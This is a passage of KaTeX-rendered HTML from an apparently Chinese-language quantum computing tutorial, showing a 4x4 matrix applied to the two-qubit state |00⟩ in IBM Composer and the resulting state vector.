style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-2.1em;"><span class="pstrut" style="height:4.65em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:4.7em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>在 IBM Composer 上預設每個量子位元初始都是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}0\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span></span></span></span>，所以結果就會是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{1}{2}\begin{pmatrix}1 &amp; 1 &amp; 1 &amp; 1 \\-1 &amp; 1 &amp; 1 &amp; -1 \\-1 &amp; -1 &amp; 1 &amp; 1 \\1 &amp; -1 &amp; 1 &amp; -1\end{pmatrix}\vert{}00\rangle=\frac{1}{2}\begin{pmatrix}1 &amp; 1 &amp; 1 &amp; 1 \\-1 &amp; 1 &amp; 1 &amp; -1 \\-1 &amp; -1 &amp; 1 &amp; 1 \\1 &amp; -1 &amp; 1 &amp; -1\end{pmatrix}\begin{pmatrix} 1 \\ 0 \\ 0 \\ 0 \end{pmatrix}= \frac12\begin{pmatrix} 1 \\ -1 \\ -1 \\ 1 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span 